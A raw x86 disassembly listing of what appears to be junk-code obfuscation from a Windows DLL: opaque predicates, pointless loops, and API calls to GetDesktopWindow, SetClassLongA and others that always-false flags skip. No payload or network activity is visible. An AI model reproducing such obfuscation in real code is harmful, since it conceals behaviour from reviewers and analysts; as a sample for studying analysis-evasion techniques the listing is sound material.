mov dword [ebp - 0x158], 0x90c4d8e5
mov dword [ebp - 0x1ec], 0
jmp 0x1000c367
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x1000c383
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x414], 0xfffffffb
jmp 0x1000c35a
mov dword [ebp - 0x158], 0
jmp 0x1000c39c
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jl 0x1000c4af
mov dword [ebp - 0x1b0], 0x727cad7d
mov dword [ebp - 0xc0c], 0xedac7a8c
mov dword [ebp - 0xbf0], 0x8b421dd2
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0xc8c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x414], 1
je 0x1000c3ef
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0xc0c]
cmp dword [ebp - 0x1b0], eax
jg 0x1000c409
mov dword [ebp - 0x40c], 1
jmp 0x1000c410
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x158]
cmp dword [ebp - 0x40c], eax
jne 0x1000c42a
mov dword [ebp - 0x78c], 1
jmp 0x1000c431
and dword [ebp - 0x78c], 0
cmp dword [ebp - 0x78c], 0xd67a
jne 0x1000c449
mov dword [ebp - 0x794], 1
jmp 0x1000c450
and dword [ebp - 0x794], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x414]
cmp dword [ebp - 0x794], eax
jl 0x1000c471
mov dword [ebp - 0x41c], 1
jmp 0x1000c478
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
sub eax, dword [ebp - 0x1b0]
jne 0x1000c492
mov dword [ebp - 0x79c], 1
jmp 0x1000c499
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x79c]
add eax, 0x571c
mov dword [ebp - 0xbf0], eax
jmp 0x1000c38f
mov dword [ebp - 0x160], 0xfff6
mov dword [ebp - 0xaa4], 2
mov dword [ebp - 0xc90], 0x5df97f74
mov dword [ebp - 0x24], 0
jmp 0x1000c4dd
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1000c4f3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x298], 0xe6f8
jmp 0x1000c4d6
mov dword [ebp - 0x24], 0
jmp 0x1000c503
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x1000c519
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x7b4], 5
jmp 0x1000c4fc
mov dword [ebp - 0x24], 0
jmp 0x1000c529
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x1000c53f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x46c], 0
jmp 0x1000c522
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0xbf4], 0x3fb18ba7
jge 0x1000c570
mov dword [ebp - 0x424], 1
jmp 0x1000c577
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x1000c74d
cmp dword [ebp - 0x160], 0x1837def5
je 0x1000c5b4
mov dword [ebp - 0xae0], 1
jmp 0x1000c5bb
and dword [ebp - 0xae0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x298]
mov dword [ebp - 0xc98], eax
mov eax, dword [ebp - 0x2e0]
cmp dword [ebp - 0x10c], eax
jl 0x1000c5e8
mov dword [ebp - 0x7a4], 1
jmp 0x1000c5ef
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x298]
jge 0x1000c612
mov dword [ebp - 0x42c], 1
jmp 0x1000c619
and dword [ebp - 0x42c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x42c]
sub ecx, dword [ebp + eax - 0x7b4]
cmp ecx, 0x36eaf0ab
je 0x1000c640
mov dword [ebp - 0x7ac], 1
jmp 0x1000c647
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0
jg 0x1000c65c
mov dword [ebp - 0x434], 1
jmp 0x1000c663
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x434], eax
jg 0x1000c67d
mov dword [ebp - 0x2b8], 1
jmp 0x1000c684
and dword [ebp - 0x2b8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2b8]
mov dword [ebp + eax - 0x7b4], ecx
mov eax, dword [ebp - 0x160]
imul eax, dword [ebp - 0x2b8]
cmp eax, dword [ebp - 0x2f8]
jl 0x1000c6b8
mov dword [ebp - 0x43c], 1
jmp 0x1000c6bf
and dword [ebp - 0x43c], 0
cmp dword [ebp - 0x43c], 1
je 0x1000c6dd
cmp dword [ebp - 0x2f8], 0
je 0x1000c6dd
mov dword [ebp - 0x7bc], 1
jmp 0x1000c6e4
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x7bc], eax
je 0x1000c6fe
mov dword [ebp - 0x444], 1
jmp 0x1000c705
and dword [ebp - 0x444], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x298]
cmp dword [ebp - 0x444], eax
je 0x1000c726
mov dword [ebp - 0x7c4], 1
jmp 0x1000c72d
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x7c4], eax
je 0x1000c74d
mov eax, 0xfcb758c9
test eax, eax
jne 0x1000c74d
and dword [ebp - 0x44c], 0
jmp 0x1000c757
mov dword [ebp - 0x44c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x44c]
sub ecx, dword [ebp + eax - 0x298]
jne 0x1000c778
mov dword [ebp - 0x7cc], 1
jmp 0x1000c77f
and dword [ebp - 0x7cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x298]
cmp dword [ebp - 0x7cc], eax
jne 0x1000c7a0
mov dword [ebp - 0x454], 1
jmp 0x1000c7a7
and dword [ebp - 0x454], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x298]
cmp dword [ebp - 0x454], eax
jl 0x1000c7c8
mov dword [ebp - 0x7d4], 1
jmp 0x1000c7cf
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x2f8]
imul eax, dword [ebp - 0x7d4]
cmp eax, 0xffffffff
jae 0x1000c7ed
mov dword [ebp - 0x45c], 1
jmp 0x1000c7f4
and dword [ebp - 0x45c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x45c]
sub edx, dword [ebp + ecx - 0x46c]
cmp dword [ebp + eax - 0x298], edx
jl 0x1000c829
push 2
pop eax
test eax, eax
je 0x1000c829
mov dword [ebp - 0x7dc], 1
jmp 0x1000c830
and dword [ebp - 0x7dc], 0
cmp dword [ebp - 0x7dc], 0xffffffff
je 0x1000c845
mov dword [ebp - 0x464], 1
jmp 0x1000c84c
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0xaa4]
cmp dword [ebp - 0x464], eax
jg 0x1000c866
mov dword [ebp - 0x7e4], 1
jmp 0x1000c86d
and dword [ebp - 0x7e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x298]
imul eax, dword [ebp - 0x7e4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x46c]
jne 0x1000c89c
mov dword [ebp - 0x7ec], 1
jmp 0x1000c8a3
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x7ec], eax
jg 0x1000c8bd
mov dword [ebp - 0x474], 1
jmp 0x1000c8c4
and dword [ebp - 0x474], 0
cmp dword [ebp - 0x474], 0xfffffff6
jl 0x1000c8d9
mov dword [ebp - 0x7f4], 1
jmp 0x1000c8e0
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x7f4], eax
je 0x1000c8fa
mov dword [ebp - 0x47c], 1
jmp 0x1000c901
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x190]
add eax, dword [ebp - 0x47c]
je 0x1000c920
xor eax, eax
inc eax
je 0x1000c920
mov dword [ebp - 0x7fc], 1
jmp 0x1000c927
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7fc]
sub eax, dword [ebp - 0x190]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x5c], 9
mov dword [ebp - 0x254], 0
jmp 0x1000c959
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 3
jge 0x1000c975
mov eax, dword [ebp - 0x254]
mov dword [ebp + eax*4 - 0xb84], 0xd7f825e
jmp 0x1000c94c
mov dword [ebp - 0x5c], 0
jmp 0x1000c985
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jg 0x1000cafa
mov dword [ebp - 0x124], 0xffffffff
mov dword [ebp - 0x484], 0x2184e5a9
mov dword [ebp - 0x124], 2
jmp 0x1000c9bc
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
jl 0x1000ca01
mov byte [ebp - 0xab], 0
movzx eax, byte [ebp - 0xab]
test eax, eax
je 0x1000c9e5
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov byte [ebp - 0xe6], 0
movzx eax, byte [ebp - 0xe6]
test eax, eax
je 0x1000c9ff
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x1000c9af
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x57257ea0
jge 0x1000ca22
mov dword [ebp - 0x804], 1
jmp 0x1000ca29
and dword [ebp - 0x804], 0
mov dword [ebp - 0x484], 2
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x484], eax
je 0x1000ca4a
mov dword [ebp - 0x48c], 1
jmp 0x1000ca51
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0xb84]
imul eax, dword [ebp - 0x804]
cmp eax, dword [ebp - 0x48c]
je 0x1000ca7f
mov eax, 0xeca6c849
test eax, eax
je 0x1000ca7f
mov dword [ebp - 0x80c], 1
jmp 0x1000ca86
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0xb84]
cmp dword [ebp - 0x80c], eax
jle 0x1000caa4
mov dword [ebp - 0x494], 1
jmp 0x1000caab
and dword [ebp - 0x494], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb84]
imul eax, dword [ebp - 0x494]
mov ecx, dword [ebp - 0x5c]
imul eax, dword [ebp + ecx*4 - 0xb84]
cmp eax, dword [ebp - 0x5c]
jne 0x1000cadb
mov dword [ebp - 0x814], 1
jmp 0x1000cae2
and dword [ebp - 0x814], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x814]
mov dword [ebp + eax - 0xb84], ecx
jmp 0x1000c97e
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x1000cb1b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0xa64], 0xffff
mov dword [ebp - 0xa60], 0xffff
mov dword [ebp - 0xa5c], 0xffff
mov dword [ebp - 0xa58], 0xffff
mov dword [ebp - 0x64], 0x94a1888
mov dword [ebp - 0x1a8], 0xffffffff
mov dword [ebp - 0x64], 3
jmp 0x1000cb64
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x1000cdc3
mov dword [ebp - 0x2c0], 0x868b
mov dword [ebp - 0x168], 0x7aced45b
mov dword [ebp - 0x170], 0xd3c095b6
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0xca0], eax
mov dword [ebp - 0x1a8], 0x1ab4
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
add eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x1a8]
jne 0x1000cbce
mov dword [ebp - 0x49c], 1
jmp 0x1000cbd5
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp + eax*4 - 0xa64]
cmp dword [ebp - 0x168], eax
jne 0x1000cbff
mov dword [ebp - 0x81c], 1
jmp 0x1000cc06
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x81c], eax
jl 0x1000cc1d
mov dword [ebp - 0x4a4], 1
jmp 0x1000cc24
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x4a4], eax
je 0x1000cc3e
mov dword [ebp - 0x824], 1
jmp 0x1000cc45
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x824], eax
je 0x1000cc5f
mov dword [ebp - 0x4ac], 1
jmp 0x1000cc66
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x4ac], eax
jge 0x1000cc83
cmp dword [ebp - 0x64], 0
je 0x1000cc83
mov dword [ebp - 0x82c], 1
jmp 0x1000cc8a
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x82c], eax
je 0x1000cca4
mov dword [ebp - 0x4b4], 1
jmp 0x1000ccab
and dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 1
jae 0x1000ccc0
mov dword [ebp - 0x834], 1
jmp 0x1000ccc7
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp + eax*4 - 0xa64]
cmp dword [ebp - 0x834], eax
je 0x1000cce5
mov dword [ebp - 0x4bc], 1
jmp 0x1000ccec
and dword [ebp - 0x4bc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa64]
cmp dword [ebp - 0x4bc], eax
je 0x1000cd16
mov eax, 0x65e1bfed
test eax, eax
je 0x1000cd16
mov dword [ebp - 0x83c], 1
jmp 0x1000cd1d
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x64]
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0xa64]
imul ecx, dword [ebp - 0x83c]
imul ecx, ecx, 0x6ca0
cmp dword [ebp + eax*4 - 0xa64], ecx
jle 0x1000cd4f
mov dword [ebp - 0x4c4], 1
jmp 0x1000cd56
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x4c4], eax
jl 0x1000cd70
mov dword [ebp - 0x844], 1
jmp 0x1000cd77
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x844]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x170], 0
jmp 0x1000cd9c
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 3
jg 0x1000cdbe
mov dword [ebp - 0x4cc], 0xfffffffb
mov eax, dword [ebp - 0x4cc]
dec eax
mov dword [ebp - 0x4cc], eax
jmp 0x1000cd8f
jmp 0x1000cb5d
mov dword [ebp - 0x54], 9
mov dword [ebp - 0x1f4], 0
jmp 0x1000cde3
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jge 0x1000cdff
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0xb94], 0xd7f825e
jmp 0x1000cdd6
mov dword [ebp - 0x54], 0
jmp 0x1000ce0f
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jg 0x1000cf84
mov dword [ebp - 0x114], 0xffffffff
mov dword [ebp - 0x84c], 0x2184e5a9
mov dword [ebp - 0x114], 2
jmp 0x1000ce46
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jl 0x1000ce8b
mov byte [ebp - 0xec], 0
movzx eax, byte [ebp - 0xec]
test eax, eax
je 0x1000ce6f
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov byte [ebp - 0xaf], 0
movzx eax, byte [ebp - 0xaf]
test eax, eax
je 0x1000ce89
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x1000ce39
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x57257ea0
jge 0x1000ceac
mov dword [ebp - 0x4d4], 1
jmp 0x1000ceb3
and dword [ebp - 0x4d4], 0
mov dword [ebp - 0x84c], 2
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x84c], eax
je 0x1000ced4
mov dword [ebp - 0x854], 1
jmp 0x1000cedb
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0xb94]
imul eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0x854]
je 0x1000cf09
mov eax, 0xeca6c849
test eax, eax
je 0x1000cf09
mov dword [ebp - 0x4dc], 1
jmp 0x1000cf10
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0xb94]
cmp dword [ebp - 0x4dc], eax
jle 0x1000cf2e
mov dword [ebp - 0x85c], 1
jmp 0x1000cf35
and dword [ebp - 0x85c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb94]
imul eax, dword [ebp - 0x85c]
mov ecx, dword [ebp - 0x54]
imul eax, dword [ebp + ecx*4 - 0xb94]
cmp eax, dword [ebp - 0x54]
jne 0x1000cf65
mov dword [ebp - 0x4e4], 1
jmp 0x1000cf6c
and dword [ebp - 0x4e4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp + eax - 0xb94], ecx
jmp 0x1000ce08
mov byte [ebp - 0xe8], 0
movzx eax, byte [ebp - 0xe8]
test eax, eax
je 0x1000cfa5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x98], 0x860b4ffb
mov dword [ebp - 0xca8], 0xd66c4a87
mov dword [ebp - 0xcb0], 0xfffffffb
mov dword [ebp - 0xd3c], 0x33f2
mov dword [ebp - 0x260], 0
jmp 0x1000cfe6
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 3
jge 0x1000d002
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0xf20], 0
jmp 0x1000cfd9
mov dword [ebp - 0x98], 0
jmp 0x1000d01b
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jg 0x1000d102
mov dword [ebp - 0x198], 0xdba33992
mov dword [ebp - 0x198], 2
jmp 0x1000d04b
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jl 0x1000d0fd
mov dword [ebp - 0x178], 0x95031536
mov dword [ebp - 0xaac], 0x17d0b0a3
cmp dword [ebp - 0x178], 0xc0e81d1
jle 0x1000d084
mov dword [ebp - 0x864], 1
jmp 0x1000d08b
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0x864], eax
jge 0x1000d0a5
mov dword [ebp - 0xb48], 1
jmp 0x1000d0ac
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xd44], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xd4c], eax
mov eax, dword [ebp - 0x198]
imul eax, dword [ebp - 0x178]
cmp eax, dword [ebp - 0x98]
je 0x1000d0e5
mov dword [ebp - 0x4ec], 1
jmp 0x1000d0ec
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0xaac], eax
jmp 0x1000d03e
jmp 0x1000d00e
mov dword [ebp - 0x98], 0
jmp 0x1000d11b
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jg 0x1000d147
mov dword [ebp - 0xd54], 8
mov dword [ebp - 0x86c], 3
mov eax, dword [ebp - 0x86c]
inc eax
mov dword [ebp - 0x86c], eax
jmp 0x1000d10e
mov dword [ebp - 0x4fc], 0xb036
mov dword [ebp - 0xd5c], 0x9fb1c038
mov dword [ebp - 0xd64], 0xffff
mov dword [ebp - 0x4f4], 6
mov dword [ebp - 0xbb8], 0x39384257
mov dword [ebp - 0x1fc], 0
jmp 0x1000d192
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x1000d1ae
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0xcc8], 0xffffffff
jmp 0x1000d185
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x1000d1d7
push 0x24b3
push 0x373
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
cmp dword [ebp - 0x4fc], 0
je 0x1000d1fc
xor eax, eax
inc eax
sub eax, dword [ebp - 0x4f4]
jne 0x1000d1f0
xor eax, eax
inc eax
je 0x1000d1fc
mov dword [ebp - 0x874], 1
jmp 0x1000d203
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x4f4]
cmp dword [ebp - 0x874], eax
jne 0x1000d21d
mov dword [ebp - 0x87c], 1
jmp 0x1000d224
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x4fc]
cmp dword [ebp - 0x87c], eax
jne 0x1000d23e
mov dword [ebp - 0x504], 1
jmp 0x1000d245
and dword [ebp - 0x504], 0
cmp dword [ebp - 0x504], 0x9150
jl 0x1000d26a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcc8], 0
jne 0x1000d26a
and dword [ebp - 0x884], 0
jmp 0x1000d274
mov dword [ebp - 0x884], 1
mov eax, dword [ebp - 0x884]
mov dword [ebp - 0xbb8], eax
mov dword [ebp - 0xa74], 0xffff
mov dword [ebp - 0xa70], 0xffff
mov dword [ebp - 0xa6c], 0xffff
mov dword [ebp - 0xa68], 0xffff
mov dword [ebp - 0x58], 0x94a1888
mov dword [ebp - 0x140], 0xffffffff
mov dword [ebp - 0x58], 3
jmp 0x1000d2c9
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x1000d528
mov dword [ebp - 0x2e8], 0x868b
mov dword [ebp - 0x1b8], 0x7aced45b
mov dword [ebp - 0x144], 0xd3c095b6
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0xd6c], eax
mov dword [ebp - 0x140], 0x1ab4
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1b8]
add eax, dword [ebp - 0x1b8]
cmp eax, dword [ebp - 0x140]
jne 0x1000d333
mov dword [ebp - 0x50c], 1
jmp 0x1000d33a
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0xa74]
cmp dword [ebp - 0x1b8], eax
jne 0x1000d364
mov dword [ebp - 0x88c], 1
jmp 0x1000d36b
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x88c], eax
jl 0x1000d382
mov dword [ebp - 0x514], 1
jmp 0x1000d389
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x514], eax
je 0x1000d3a3
mov dword [ebp - 0x894], 1
jmp 0x1000d3aa
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x894], eax
je 0x1000d3c4
mov dword [ebp - 0x51c], 1
jmp 0x1000d3cb
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x51c], eax
jge 0x1000d3e8
cmp dword [ebp - 0x58], 0
je 0x1000d3e8
mov dword [ebp - 0x89c], 1
jmp 0x1000d3ef
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x2e8]
cmp dword [ebp - 0x89c], eax
je 0x1000d409
mov dword [ebp - 0x524], 1
jmp 0x1000d410
and dword [ebp - 0x524], 0
cmp dword [ebp - 0x524], 1
jae 0x1000d425
mov dword [ebp - 0x8a4], 1
jmp 0x1000d42c
and dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0xa74]
cmp dword [ebp - 0x8a4], eax
je 0x1000d44a
mov dword [ebp - 0x52c], 1
jmp 0x1000d451
and dword [ebp - 0x52c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa74]
cmp dword [ebp - 0x52c], eax
je 0x1000d47b
mov eax, 0x65e1bfed
test eax, eax
je 0x1000d47b
mov dword [ebp - 0x8ac], 1
jmp 0x1000d482
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x58]
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0xa74]
imul ecx, dword [ebp - 0x8ac]
imul ecx, ecx, 0x6ca0
cmp dword [ebp + eax*4 - 0xa74], ecx
jle 0x1000d4b4
mov dword [ebp - 0x534], 1
jmp 0x1000d4bb
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x2e8]
cmp dword [ebp - 0x534], eax
jl 0x1000d4d5
mov dword [ebp - 0x8b4], 1
jmp 0x1000d4dc
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x144], 0
jmp 0x1000d501
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jg 0x1000d523
mov dword [ebp - 0x53c], 0xfffffffb
mov eax, dword [ebp - 0x53c]
dec eax
mov dword [ebp - 0x53c], eax
jmp 0x1000d4f4
jmp 0x1000d2c2
mov dword [ebp - 0xa4], 0xb55bb2c2
mov dword [ebp - 0x204], 0
mov dword [ebp - 0xabc], 1
mov dword [ebp - 0x268], 0
jmp 0x1000d55f
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 3
jge 0x1000d57b
mov eax, dword [ebp - 0x268]
mov dword [ebp + eax*4 - 0xba4], 0x1f200025
jmp 0x1000d552
mov dword [ebp - 0xa4], 0x11
jmp 0x1000d594
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xffffffeb
jl 0x1000d7d1
mov dword [ebp - 0x48], 0x8795010f
mov dword [ebp - 0xb50], 0xc6f44469
mov dword [ebp - 0x48], 0
jmp 0x1000d5c2
cmp dword [ebp - 0x48], 2
jg 0x1000d7cc
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0xd74], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xba4]
mov dword [ebp - 0xd7c], eax
cmp dword [ebp - 0xa4], 1
jl 0x1000d600
mov dword [ebp - 0x8bc], 1
jmp 0x1000d607
and dword [ebp - 0x8bc], 0
cmp dword [ebp - 0x8bc], 0xfffffffd
je 0x1000d61c
mov dword [ebp - 0x544], 1
jmp 0x1000d623
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x544]
neg eax
cmp eax, 0x7974498b
jne 0x1000d644
mov dword [ebp - 0x8c4], 1
jmp 0x1000d64b
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x8c4], eax
jne 0x1000d662
mov dword [ebp - 0x54c], 1
jmp 0x1000d669
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 6
je 0x1000d67e
mov dword [ebp - 0x8cc], 1
jmp 0x1000d685
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x8cc], eax
jl 0x1000d6a8
cmp dword [ebp - 0xa4], 0
je 0x1000d6a8
mov dword [ebp - 0xab4], 1
jmp 0x1000d6af
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0xd84], eax
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0xb50], eax
jl 0x1000d6d2
mov dword [ebp - 0x554], 1
jmp 0x1000d6d9
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x48]
